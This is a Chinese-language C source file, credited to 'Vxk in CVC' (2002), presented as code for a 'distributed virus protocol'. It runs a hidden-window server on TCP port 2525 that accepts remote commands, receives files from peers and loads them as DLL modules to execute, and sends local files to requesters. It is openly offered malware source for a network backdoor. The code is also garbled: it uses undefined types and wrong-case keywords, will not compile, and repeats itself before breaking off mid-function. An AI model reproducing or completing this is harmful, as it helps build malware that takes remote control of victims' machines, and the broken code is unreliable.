文章作者:Vxk
/*
分布式病毒协议的C/C++描述代码
Coded by Vxk in CVC
CopyRight(R) 2001-2002
2002.10.18..night
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
typedef struct CONNINST
{
SOCKET socket; /* 本地Socket号 */
unsigned short clientPort; /* 客户端端口 */
struct in_addr clientIP; /* 客户端IP地址 */
time_t beginTime; /* 连接建立时间 - 预留 */
time_t updateTime; /* 最后更新时间 - 预留 */
WORD lastestSequenceNumber; /* 最新包序号 */
unsigned short key; /* 密钥 - 预留*/
unsigned short cmdLen; /* 结果堆长度 */
char *pCmd; /* 命令堆 */
unsigned short resultLen; /* 结果堆长度 */
char *pResult; /* 结果堆 */
struct CONNINST* next; /* 下一个请求实例的地址 */
}CONNINST, *pCONNINST;
typedef struct Maillist
{
String Address;
String Name;
Struct Maillist *pNext;
}Maillist,*pMaillist;
typedef struct Moudlelist
{
String MoudleName;
String MoudleFileName;
String MoudleGuid;
String UseFor;
String MoudleAuther;
Struct Moudlelist *pNext;
}Moudlelist,*pMoudlelist;
typedef struct FileUpData
{
struct in_addr clientIP;
DWORD port;
DWORD SAMGuid;
String FileName;
lvoid cmd;
}FileUpData,*pFileUpData;
typedef struct DVPPak
{
String SAMCommand;
String Guid;
String Auther;
lvoid Cmd;
pMaillist *pMail;
pMoudlelist *pMoudle;
String Versionofme;
pmyPCinfo *pcinfo;
}DVPPak, *pDVPPak;
HINSTANCE hInst; /* 当前实例句柄 */
HWND hWndMain; /* 主窗口句柄 */
SOCKET listenSocket; /* 监听套接口 */
pCONNINST pConnInstHead;
pCONNINST addConnInst(SOCKET, unsigned short, struct in_addr);
pCONNINST getConnInst(SOCKET);
void OnWrite(SOCKET socket);
int netHalt(void);
void delConnInst(pCONNINST);
Void DvpExpCmd(Socket s);
void delAllConnInst(void);
void RecvFileThreadProc(pFileUpData *plm);
void SendFileThreadProc(pFileUpData *plm);
int uiStartup(HINSTANCE hInstance, int nCmdShow);
LRESULT CALLBACK MainWndProc(HWND,UINT,WPARAM,LPARAM);
int netStartup(void);
void OnAccept(SOCKET socket);
void OnClose(SOCKET socket);
void OnRead(SOCKET socket);
void sendResult(SOCKET socket);
int netStartup(void)
{
unsigned short wVersionRequested=MAKEWORD(1,1);
WSADATA wsaData;
SOCKADDR_IN saServer;
DWORD dwAddrStrLen;
char szAddress[128];
int nRet;
/* 初始化WinSock */
if(WSAStartup(wVersionRequested, &wsaData)!=0)
{
//("Dvp 错误 :: 网络协议启动失败,请重新启动计算机.");
}
/* 检查Winsock版本 */
if(wsaData.wVersion != wVersionRequested)
{
//("Dvp 错误 :: 网络协议版本错误,请升级Winsock.");
}
/* 创建流式套接口 */
listenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(listenSocket==INVALID_SOCKET)
{
//("ERROR :: Can not create steam socket.");
return 0;
}
/* 通知套接口有请求事件发生 */
nRet=WSAAsyncSelect(listenSocket,
hWndMain, //在网络事件发生时需要接收消息的窗口句柄
UM_ASYNC, //在网络事件发生时要接收的消息
FD_ACCEPT | FD_READ | FD_WRITE | FD_CLOSE);
//只在程式开始执行一次,以后只要有套接口请求就发送消息
if (nRet==SOCKET_ERROR)
{
//("ERROR :: Can not initialize steam socket.");
closesocket(listenSocket);
return 0;
}
/* 地址结构设定 */
saServer.sin_port=htons(2525); //端口在这里哦
saServer.sin_family=AF_INET;
saServer.sin_addr.s_addr=INADDR_ANY;
/* 将一本地地址3872与套接口listenSocket捆绑 */
nRet=bind(listenSocket, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
if (nRet==SOCKET_ERROR)
{
//("ERROR :: Can not bind socket to local port 1936.");
//("HINT :: Dvp Kernel Server can only run in one thread.");
closesocket(listenSocket);
return 0;
}
/* 让套接口开始监听 */
nRet = listen(listenSocket, SOMAXCONN);
if (nRet == SOCKET_ERROR)
{
//("ERROR :: Can not listen.");
closesocket(listenSocket);
return 0;
}
dwAddrStrLen = sizeof(szAddress);
GetLocalAddress(szAddress, &dwAddrStrLen);
return 1;
}
/* Unknown how */
int GetLocalAddress(LPSTR lpStr, LPDWORD lpdwStrLen)
{
struct in_addr *pinAddr;
LPHOSTENT lpHostEnt;
int nRet;
int nLen;
// Get our local name
nRet = gethostname(lpStr, *lpdwStrLen);
if(nRet==SOCKET_ERROR)
{
lpStr[0]='\0';
return SOCKET_ERROR;
}
// "Lookup" the local name
lpHostEnt=gethostbyname(lpStr);
if(lpHostEnt==NULL)
{
lpStr[0] = '\0';
return SOCKET_ERROR;
}
// format first address in the list
pinAddr=((LPIN_ADDR)lpHostEnt->h_addr);
nLen=strlen(inet_ntoa(*pinAddr));
if((DWORD)nLen>*lpdwStrLen)
{
*lpdwStrLen=nLen;
WSASetLastError(WSAEINVAL);
return SOCKET_ERROR;
}
*lpdwStrLen = nLen;
strcpy(lpStr, inet_ntoa(*pinAddr));
return 0;
}
int uiStartup(HINSTANCE hInstance, int nCmdShow)
{
WNDCLASS DvpWindow;
HANDLE hObject;
/* 创建实例 */
hInst=hInstance;
/* 判断是否已经运行 */
hObject=CreateMutex(NULL,FALSE,"DvpC");
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hObject);
PostQuitMessage(0);
return 0;
}
/* 创建窗口 */
DvpWindow.style=0;//指定类的风格
DvpWindow.lpfnWndProc=(WNDPROC)MainWndProc;//窗口过程的远指针
DvpWindow.cbClsExtra=0;//窗口结构额外字节数
DvpWindow.cbWndExtra=0;//窗口实例额外字节数
DvpWindow.hInstance=hInstance;//窗口过程所在的实例
DvpWindow.hIcon=LoadIcon(hInstance,MAKEINTRESOURCE(MAIN));//调用标识类的图标
DvpWindow.hCursor=LoadCursor(NULL,IDC_ARROW);//调用标识类的光标
DvpWindow.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);//标识背景类的画刷
DvpWindow.lpszMenuName=NULL;//指向标识类菜单资源的字符串,以空字符结束
DvpWindow.lpszClassName="DVPSample";//标识本类的名称
RegisterClass(&DvpWindow);//注册窗口
hWndMain=CreateWindow("DVPSample",
"DVPSample",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,hInstance,NULL);
if(!hWndMain) return 0;
ShowWindow(hWndMain,SW_HIDE);//显示窗口
UpdateWindow(hWndMain);//更新窗口
return 1;
}
//处理窗口消息
LRESULT CALLBACK MainWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch(message)//开始处理消息
{
/* User Interface Message */
case WM_CLOSE:
return(DefWindowProc(hWnd,message,wParam,lParam));
break;
case WM_DESTROY:
deleteSystrayIcon();
PostQuitMessage(0);
break;
case WM_SIZE:
delAllConnInst();
break;
/* Network Message */
case UM_ASYNC:
switch(WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT:
OnAccept((SOCKET)wParam);
break;
case FD_READ:
OnRead((SOCKET)wParam);
break;
case FD_WRITE:
OnWrite((SOCKET)wParam);
break;
case FD_CLOSE:
OnClose((SOCKET)wParam);
break;
}
break;
default:
return(DefWindowProc(hWnd,message,wParam,lParam));//默认窗口过程的消息处理
}
return(0);
}
pCONNINST addConnInst(SOCKET socket, unsigned short port, struct in_addr ip)
{
/* 分配一块新的连接实例 */
pCONNINST newConnInst=(pCONNINST)malloc(sizeof(CONNINST));
/* 没有内存了 */
if(newConnInst==NULL) return NULL;
/* 分配一块新的SOCKADDR实例 */
// newConnInst->sockAddr=(LPSOCKADDR)malloc(nAddrLen);
// newConnInst->sockAddr=malloc(nAddrLen);
/* 没有内存了 */
// if(newConnInst->lpSockAddr==NULL)
// {
// free(newConnInst);
// return NULL;
// }
//装填新的请求包
newConnInst->socket=socket;
newConnInst->clientPort=port;
newConnInst->clientIP=ip;
newConnInst->pCmd=NULL;
newConnInst->pResult=NULL;
newConnInst->cmdLen=0;
newConnInst->resultLen=0;
newConnInst->beginTime=time(NULL);
newConnInst->updateTime=newConnInst->beginTime;
newConnInst->lastestSequenceNumber=0;
newConnInst->next=NULL;
//如果请求链表是空的
if(pConnInstHead==NULL)
{
//将这个请求作为链表头,放到pConnInstHead
pConnInstHead=newConnInst;
}
else
{
pCONNINST tempConn=pConnInstHead;
//走到链表尾
while(tempConn->next) tempConn=tempConn->next;
//追加新包到链表尾
tempConn->next=newConnInst;
}
//返回装填好的包的指针
return newConnInst;
}
pCONNINST getConnInst(SOCKET socket)
{
/* 遍历链表,寻找套接口 */
pCONNINST tempConn=pConnInstHead;
while(tempConn!=NULL)
{
if(tempConn->socket==socket) break;
tempConn=tempConn->next;
}
/*若没有,返回NULL */
return(tempConn);
}
void delConnInst(pCONNINST pConnInstToDel)
{
/* 如果要删除的是链表头 */
if(pConnInstToDel==pConnInstHead)
{
/* pConnInstHead->next 成为头 */
pConnInstHead=pConnInstHead->next;
/* 对链表头的free()在最后进行 */
}
else
{
pCONNINST tempConn=pConnInstHead;
/* 从链表头开始 到NULL为止 每次指向下一个*/
while(tempConn!=NULL)
{
/* 若当前的下一个是要被删除的 */
if (tempConn->next==pConnInstToDel)
{
/* 当前的下一个变成下一个的(要被删除的)下一个 */
tempConn->next=pConnInstToDel->next;
break;
}
}
}
/* 释放pConnInstToDel占用的内存 */
free(pConnInstToDel->pCmd);
free(pConnInstToDel->pResult);
free(pConnInstToDel);
return;
}
void delAllConnInst(void)
{
pCONNINST tempConn=pConnInstHead;
pCONNINST tempConn2;
/* 遍历链表,依次释放内存 */
/* 若存在tempConn则继续for */
while(tempConn!=NULL)
{
tempConn2=tempConn->next;
// free(tempConn->lpSockAddr);
// free(tempConn->pResultBuf);
free(tempConn->pCmd);
free(tempConn->pResult);
free(tempConn);
tempConn=tempConn2;
}
pConnInstHead=NULL;
return;
}
void OnAccept(SOCKET socket)
{
SOCKADDR_IN sockAddrIn;
pCONNINST connInst=NULL;
SOCKET peerSocket;
int tempLength;
// accept the new socket descriptor
tempLength=sizeof(SOCKADDR_IN);
peerSocket=accept(listenSocket, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);
if(peerSocket==SOCKET_ERROR)
{
if(WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
}
//让它也可以在读写或关闭的时候向窗口发送消息
WSAAsyncSelect(peerSocket, hWndMain, UM_ASYNC, FD_READ | FD_WRITE | FD_CLOSE);
if(peerSocket==SOCKET_ERROR)
{
//("Error! WSAAsyncSelect error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
//将这已连接的套接口放到链表里
connInst=addConnInst(peerSocket, sockAddrIn.sin_port, sockAddrIn.sin_addr);
if (connInst==NULL)
{
//内存满了
//("Error! Memory is full! The request form %s can not be accepted",inet_ntoa(sockAddrIn.sin_addr));
closesocket(peerSocket);
return;
}
//("A new request from: %s is accepted on socket %d.",
inet_ntoa(sockAddrIn.sin_addr), peerSocket);
return;
}
void OnClose(SOCKET socket)
{
pCONNINST connInst;
// 检查是否已经删除了这个套接口
connInst=getConnInst(socket);
if (connInst==NULL) return;
// It is still in stock list
// The client must have to reset the connection.
// Clean up.
//("The request from %s has been closed. Local socket: %d is free now.", inet_ntoa(connInst->clientIP), connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
}
/* 可以读取数据了 */
void OnRead(SOCKET socket)
{
pCONNINST connInst;
int bytesReceive;
char* pNewCmd=NULL;
/* 查找对应的连接实例 */
connInst=getConnInst(socket);
/* 如果找不到连接实例, 读光缓冲区, 然后ByeBye */
if(connInst==NULL)
{
char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);
closesocket(socket);
//("When ready to receive (OnREAD), get some noise - DEBUG");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;
}
/* 否则将所有数据读入命令堆 */
if(connInst->pCmd==NULL)
{
connInst->pCmd=(char*)malloc(64);
connInst->cmdLen=0;
if(connInst->pCmd==NULL)
{
//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
}
pNewCmd=(char*)malloc(64);
if(pNewCmd==NULL)
{
//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
memset(pNewCmd, 0, 64);
bytesReceive=recv(socket, pNewCmd, 64, 0);
//("收到:%d字节",bytesReceive);
if(bytesReceive==SOCKET_ERROR)
{
//操作此时由于Windows Sockets实现的资源或其它限制的制约而无法调度
if(WSAGetLastError()==WSAEWOULDBLOCK) return;
//("recv() Error");
//("Closing socket: %d", connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
/* 有的时候, OnRead消息是假的, 收到的字节数是-1, 要忽略这种情况*/
if(bytesReceive>0)
{
connInst->pCmd=(char*)realloc(connInst->pCmd, connInst->cmdLen+bytesReceive);
memcpy(&connInst->pCmd[connInst->cmdLen], pNewCmd, bytesReceive);
connInst->cmdLen+=bytesReceive;
free(pNewCmd);
DvpExpCmd(socket);
}
else
{
free(pNewCmd);
}
return;
}
Void DvpExpCmd(Socket s)
{
pCONNINST connInst=getConnInst(s);
char *pThisCmd=NULL; /* 从命令堆里面读取第一个命令包, 这个用来保存命令包的地址 */
char *pSwap=NULL; /* 清除命令堆旧命令交换用的指针 */
if(pThisCmd==NULL)
{
//("DEBUG - 无法定义命令包起点, 函数返回, 等待命令.");
return;
}
if(pThisCmd > connInst->pCmd)
{
/*
如果前面有残余数据, 那么就立刻清除残余数据
这种情况遇到的不会多
*/
//("处理残余数据");
pSwap=connInst->pCmd;
connInst->pCmd=strdup(pThisCmd);
connInst->cmdLen-=(pThisCmd-connInst->pCmd);
free(pSwap);
/* 继续 */
}
LVoid pak;
while (*pThisCmd!=Null)
{
pak+=*pThisCmd;
pThisCmd+=sizeof(char);
}
pDVPPak *myDvp=*(DVPPak*)pak;
if(myDvp->SAMCommand=='UPData')
{/*对方传文件给我们!!*/
pFileUpData *Up=*(FileUpData*)myDvp->cmd;
DWORD dwThread;
if(*up!=Null){up->clientIP=pThisCmd->clientIP;
if(CreateThread(NULL,0,RecvFileThreadProc, *up, 0, &dwThread)==NULL)//文件接受线程
{//something wrong with Recv... }else
{ if(CheckSam(myDvp->Guid,myDvp->Auther)!='No')//处理权限,自己发挥吧。。。
{ int (__stdcall*) MoudleStart=(void*)GetProcAddress(LoadLibrary(UP->FileName),"MoudleStartMe" );
MoudleStart(Up->Cmd);//开始执行!
}}
}
free(up);
}
if(myDvp->SAMCommand=='GetData')
{/*2002.10.19*/
/*对方要我们的文件*/
pFileUpData *Up=*(FileUpData*)myDvp->cmd;
if(up!=Null){up->clientIP=pThisCmd->clientIP;
DWORD dwThread;
if(CreateThread(NULL,0,SendFileThreadProc, *up, 0, &dwThread)==NULL)//文件传送线程
{//something wrong with Recv... }
else{/*传输SamCmmand='UpData',cmd=(lvoid*)up给对方*/}}
free(up);
}
if(myDvp->SAMCommand==Null)
{
/*处理对方发来信息中有用的信息*/
/*对于我们来讲,这个问题是应该由个人处理的*/
/*对于这里我们还要给对方返回一包即我们的信息*/
/*此处需要发送消息到对方,来获得如文件之类的东西*/
}
free(pThisCmd);
free(myDvp);
return -1;
}
void OnWrite(SOCKET socket)
{
pCONNINST connInst;
connInst=getConnInst(socket);
/* 如果找不到连接实例, 读光缓冲区, 然后ByeBye */
if(connInst==NULL)
{
char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);
closesocket(socket);
//("When ready to send, get some noise");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;
}
/* 如果连接实例有需要发送的数据 */
if(connInst->pResult!=NULL)
{
sendResult(socket);
}
return;
}
void sendResult(SOCKET socket)
{
pCONNINST connInst=getConnInst(socket);
int bytesSent;
bytesSent=send(connInst->socket, connInst->pResult, connInst->resultLen, 0);
if(bytesSent==SOCKET_ERROR)
{
if (WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("send() Error");
//("Closing socket: %d", connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
}
if((unsigned int)bytesSent<connInst->resultLen)//如果发送的字节少于结果字节
{
char* temp;
connInst->resultLen=connInst->resultLen-bytesSent;
temp=(char*)malloc(connInst->resultLen);
memcpy(temp,connInst->pResult+bytesSent,connInst->resultLen);
free(connInst->pResult);
connInst->pResult=temp;
}
else //如果全部发送完毕
{
free(connInst->pResult);
connInst->resultLen=0;
connInst->pResult=NULL;
}
}
int netHalt(void)
{
pCONNINST connTemp;
/* 关闭监听套接口 */
closesocket(listenSocket);
/* 关闭所有正在连接的套接口 */
connTemp=pConnInstHead;
while(connTemp)
{
closesocket(connTemp->socket);
connTemp=connTemp->next;
}
/* 清除请求包链表 */
delAllConnInst();
Beep(200,50);
WSACleanup();
return 1;
}
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
/* User Interface Startup */
uiStartup(hInstance, nCmdShow);
/* Network Startup */
netStartup();
/*我们在下面应该做些什么?搜索ip连接。。。。。*/
/* 进入消息循环 */
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
/* Network Halt*/
netHalt();
return 0;
}
void RecvFileThreadProc(pFileUpData *plm)
{
// Open target file
// Get remote address
int i,nPort;
char svAddress[256];
lstrcpyn(svAddress,plm->clientIP->sin_addr->s_addr,256);
for(i=0;i<256;i++) {
if(svAddress==':') {
svAddress='\0';
nPort=atoi(&svAddress[i+1]);
break;
}
}
// Put into SOCKADDR_IN structure
SOCKADDR_IN saddr;
struct hostent *he;
DWORD dwIPAddr;
dwIPAddr=inet_addr(svAddress);
if(dwIPAddr==INADDR_NONE) {
he=gethostbyname(svAddress);
if(gethostbyname==NULL) {
free(plm);
return 1;
}
dwIPAddr=*(DWORD *)he->h_addr_list[0];
}
memset(&saddr,0,sizeof(SOCKADDR_IN));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=dwIPAddr;
// Create socket
SOCKET sv;
sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s==INVALID_SOCKET) {
free(plm);
return 1;
}
// Connect to remote port
if(connect(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
closesocket(sv);
free(plm);
return 1;
}
// Nonblocking mode
DWORD dwBlock=1;
ioctlsocket(sv, FIONBIO, &dwBlock);
HANDLE hFile;
hFile=CreateFile(plm->FileName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile!=NULL) {
int nBytes;
DWORD dwCount;
char svBuffer[1024];
do {
// Give up time
Sleep(20);
nBytes=recv(sv,svBuffer,1024,0);
if(nBytes>0) {
WriteFile(hFile,svBuffer,nBytes,&dwCount,NULL);
}
} while(nBytes>0);
CloseHandle(hFile);
}
closesocket(sv);
return 0;
}
void SendFileThreadProc(pFileUpData *plm)
{
SOCKET sv;
sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sv==INVALID_SOCKET) {
free(plm);
return -2;
}
// Bind to desired port
SOCKADDR_IN saddr;
memset(&saddr,0,sizeof(SOCKADDR_IN));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=0;
if(bind(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
closesocket(s);
free(pptp);
free(ppi);
return -1;
}
listen(sv,MAX_CONNECTIONS);
// Nonblocking mode
DWORD argp=TRUE;
ioctlsocket(sv,FIONBIO,&argp);
sleep(1000);
SOCKET psv;
int tempLength;
// accept the new socket descriptor
tempLength=sizeof(SOCKADDR_IN);
psv=accept(sv, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);
if(peerSocket==SOCKET_ERROR)
{
if(WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
}
HANDLE hInFile;
hInFile=CreateFile(plm->FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(hInFile==INVALID_HANDLE_value) {
//Couldn't open local file.
return -1;
}
char svBuffer[1024];
DWORD dwBytes;
do {
ReadFile(hInFile,svBuffer,1024,&dwBytes,NULL);
if(send(psv,svBuffer,dwBytes,0)<=0) break;
} while(dwBytes==1024);
closesocket(psv);
closesocket(sv);
CloseHandle(hInFile);
Return -1;
}
/*
分布式病毒协议的C/C++描述代码
Coded by Vxk in CVC
CopyRight(R) 2001-2002
2002.10.18..night
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
typedef struct CONNINST
{
SOCKET socket; /* 本地Socket号 */
unsigned short clientPort; /* 客户端端口 */
struct in_addr clientIP; /* 客户端IP地址 */
time_t beginTime; /* 连接建立时间 - 预留 */
time_t updateTime; /* 最后更新时间 - 预留 */
WORD lastestSequenceNumber; /* 最新包序号 */
unsigned short key; /* 密钥 - 预留*/
unsigned short cmdLen; /* 结果堆长度 */
char *pCmd; /* 命令堆 */
unsigned short resultLen; /* 结果堆长度 */
char *pResult; /* 结果堆 */
struct CONNINST* next; /* 下一个请求实例的地址 */
}CONNINST, *pCONNINST;
typedef struct Maillist
{
String Address;
String Name;
Struct Maillist *pNext;
}Maillist,*pMaillist;
typedef struct Moudlelist
{
String MoudleName;
String MoudleFileName;
String MoudleGuid;
String UseFor;
String MoudleAuther;
Struct Moudlelist *pNext;
}Moudlelist,*pMoudlelist;
typedef struct FileUpData
{
struct in_addr clientIP;
DWORD port;
DWORD SAMGuid;
String FileName;
lvoid cmd;
}FileUpData,*pFileUpData;
typedef struct DVPPak
{
String SAMCommand;
String Guid;
String Auther;
lvoid Cmd;
pMaillist *pMail;
pMoudlelist *pMoudle;
String Versionofme;
pmyPCinfo *pcinfo;
}DVPPak, *pDVPPak;
HINSTANCE hInst; /* 当前实例句柄 */
HWND hWndMain; /* 主窗口句柄 */
SOCKET listenSocket; /* 监听套接口 */
pCONNINST pConnInstHead;
pCONNINST addConnInst(SOCKET, unsigned short, struct in_addr);
pCONNINST getConnInst(SOCKET);
void OnWrite(SOCKET socket);
int netHalt(void);
void delConnInst(pCONNINST);
Void DvpExpCmd(Socket s);
void delAllConnInst(void);
void RecvFileThreadProc(pFileUpData *plm);
void SendFileThreadProc(pFileUpData *plm);
int uiStartup(HINSTANCE hInstance, int nCmdShow);
LRESULT CALLBACK MainWndProc(HWND,UINT,WPARAM,LPARAM);
int netStartup(void);
void OnAccept(SOCKET socket);
void OnClose(SOCKET socket);
void OnRead(SOCKET socket);
void sendResult(SOCKET socket);
int netStartup(void)
{
unsigned short wVersionRequested=MAKEWORD(1,1);
WSADATA wsaData;
SOCKADDR_IN saServer;
DWORD dwAddrStrLen;
char szAddress[128];
int nRet;
/* 初始化WinSock */
if(WSAStartup(wVersionRequested, &wsaData)!=0)
{
//("Dvp 错误 :: 网络协议启动失败,请重新启动计算机.");
}
/* 检查Winsock版本 */
if(wsaData.wVersion != wVersionRequested)
{
//("Dvp 错误 :: 网络协议版本错误,请升级Winsock.");
}
/* 创建流式套接口 */
listenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(listenSocket==INVALID_SOCKET)
{
//("ERROR :: Can not create steam socket.");
return 0;
}
/* 通知套接口有请求事件发生 */
nRet=WSAAsyncSelect(listenSocket,
hWndMain, //在网络事件发生时需要接收消息的窗口句柄
UM_ASYNC, //在网络事件发生时要接收的消息
FD_ACCEPT | FD_READ | FD_WRITE | FD_CLOSE);
//只在程式开始执行一次,以后只要有套接口请求就发送消息
if (nRet==SOCKET_ERROR)
{
//("ERROR :: Can not initialize steam socket.");
closesocket(listenSocket);
return 0;
}
/* 地址结构设定 */
saServer.sin_port=htons(2525); //端口在这里哦
saServer.sin_family=AF_INET;
saServer.sin_addr.s_addr=INADDR_ANY;
/* 将一本地地址3872与套接口listenSocket捆绑 */
nRet=bind(listenSocket, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
if (nRet==SOCKET_ERROR)
{
//("ERROR :: Can not bind socket to local port 1936.");
//("HINT :: Dvp Kernel Server can only run in one thread.");
closesocket(listenSocket);
return 0;
}
/* 让套接口开始监听 */
nRet = listen(listenSocket, SOMAXCONN);
if (nRet == SOCKET_ERROR)
{
//("ERROR :: Can not listen.");
closesocket(listenSocket);
return 0;
}
dwAddrStrLen = sizeof(szAddress);
GetLocalAddress(szAddress, &dwAddrStrLen);
return 1;
}
/* Unknown how */
int GetLocalAddress(LPSTR lpStr, LPDWORD lpdwStrLen)
{
struct in_addr *pinAddr;
LPHOSTENT lpHostEnt;
int nRet;
int nLen;
// Get our local name
nRet = gethostname(lpStr, *lpdwStrLen);
if(nRet==SOCKET_ERROR)
{
lpStr[0]='\0';
return SOCKET_ERROR;
}
// "Lookup" the local name
lpHostEnt=gethostbyname(lpStr);
if(lpHostEnt==NULL)
{
lpStr[0] = '\0';
return SOCKET_ERROR;
}
// format first address in the list
pinAddr=((LPIN_ADDR)lpHostEnt->h_addr);
nLen=strlen(inet_ntoa(*pinAddr));
if((DWORD)nLen>*lpdwStrLen)
{
*lpdwStrLen=nLen;
WSASetLastError(WSAEINVAL);
return SOCKET_ERROR;
}
*lpdwStrLen = nLen;
strcpy(lpStr, inet_ntoa(*pinAddr));
return 0;
}
int uiStartup(HINSTANCE hInstance, int nCmdShow)
{
WNDCLASS DvpWindow;
HANDLE hObject;
/* 创建实例 */
hInst=hInstance;
/* 判断是否已经运行 */
hObject=CreateMutex(NULL,FALSE,"DvpC");
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hObject);
PostQuitMessage(0);
return 0;
}
/* 创建窗口 */
DvpWindow.style=0;//指定类的风格
DvpWindow.lpfnWndProc=(WNDPROC)MainWndProc;//窗口过程的远指针
DvpWindow.cbClsExtra=0;//窗口结构额外字节数
DvpWindow.cbWndExtra=0;//窗口实例额外字节数
DvpWindow.hInstance=hInstance;//窗口过程所在的实例
DvpWindow.hIcon=LoadIcon(hInstance,MAKEINTRESOURCE(MAIN));//调用标识类的图标
DvpWindow.hCursor=LoadCursor(NULL,IDC_ARROW);//调用标识类的光标
DvpWindow.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);//标识背景类的画刷
DvpWindow.lpszMenuName=NULL;//指向标识类菜单资源的字符串,以空字符结束
DvpWindow.lpszClassName="DVPSample";//标识本类的名称
RegisterClass(&DvpWindow);//注册窗口
hWndMain=CreateWindow("DVPSample",
"DVPSample",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,hInstance,NULL);
if(!hWndMain) return 0;
ShowWindow(hWndMain,SW_HIDE);//显示窗口
UpdateWindow(hWndMain);//更新窗口
return 1;
}
//处理窗口消息
LRESULT CALLBACK MainWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch(message)//开始处理消息
{
/* User Interface Message */
case WM_CLOSE:
return(DefWindowProc(hWnd,message,wParam,lParam));
break;
case WM_DESTROY:
deleteSystrayIcon();
PostQuitMessage(0);
break;
case WM_SIZE:
delAllConnInst();
break;
/* Network Message */
case UM_ASYNC:
switch(WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT:
OnAccept((SOCKET)wParam);
break;
case FD_READ:
OnRead((SOCKET)wParam);
break;
case FD_WRITE:
OnWrite((SOCKET)wParam);
break;
case FD_CLOSE:
OnClose((SOCKET)wParam);
break;
}
break;
default:
return(DefWindowProc(hWnd,message,wParam,lParam));//默认窗口过程的消息处理
}
return(0);
}
pCONNINST addConnInst(SOCKET socket, unsigned short port, struct in_addr ip)
{
/* 分配一块新的连接实例 */
pCONNINST newConnInst=(pCONNINST)malloc(sizeof(CONNINST));
/* 没有内存了 */
if(newConnInst==NULL) return NULL;
/* 分配一块新的SOCKADDR实例 */
// newConnInst->sockAddr=(LPSOCKADDR)malloc(nAddrLen);
// newConnInst->sockAddr=malloc(nAddrLen);
/* 没有内存了 */
// if(newConnInst->lpSockAddr==NULL)
// {
// free(newConnInst);
// return NULL;
// }
//装填新的请求包
newConnInst->socket=socket;
newConnInst->clientPort=port;
newConnInst->clientIP=ip;
newConnInst->pCmd=NULL;
newConnInst->pResult=NULL;
newConnInst->cmdLen=0;
newConnInst->resultLen=0;
newConnInst->beginTime=time(NULL);
newConnInst->updateTime=newConnInst->beginTime;
newConnInst->lastestSequenceNumber=0;
newConnInst->next=NULL;
//如果请求链表是空的
if(pConnInstHead==NULL)
{
//将这个请求作为链表头,放到pConnInstHead
pConnInstHead=newConnInst;
}
else
{
pCONNINST tempConn=pConnInstHead;
//走到链表尾
while(tempConn->next) tempConn=tempConn->next;
//追加新包到链表尾
tempConn->next=newConnInst;
}
//返回装填好的包的指针
return newConnInst;
}
pCONNINST getConnInst(SOCKET socket)
{
/* 遍历链表,寻找套接口 */
pCONNINST tempConn=pConnInstHead;
while(tempConn!=NULL)
{
if(tempConn->socket==socket) break;
tempConn=tempConn->next;
}
/*若没有,返回NULL */
return(tempConn);
}
void delConnInst(pCONNINST pConnInstToDel)
{
/* 如果要删除的是链表头 */
if(pConnInstToDel==pConnInstHead)
{
/* pConnInstHead->next 成为头 */
pConnInstHead=pConnInstHead->next;
/* 对链表头的free()在最后进行 */
}
else
{
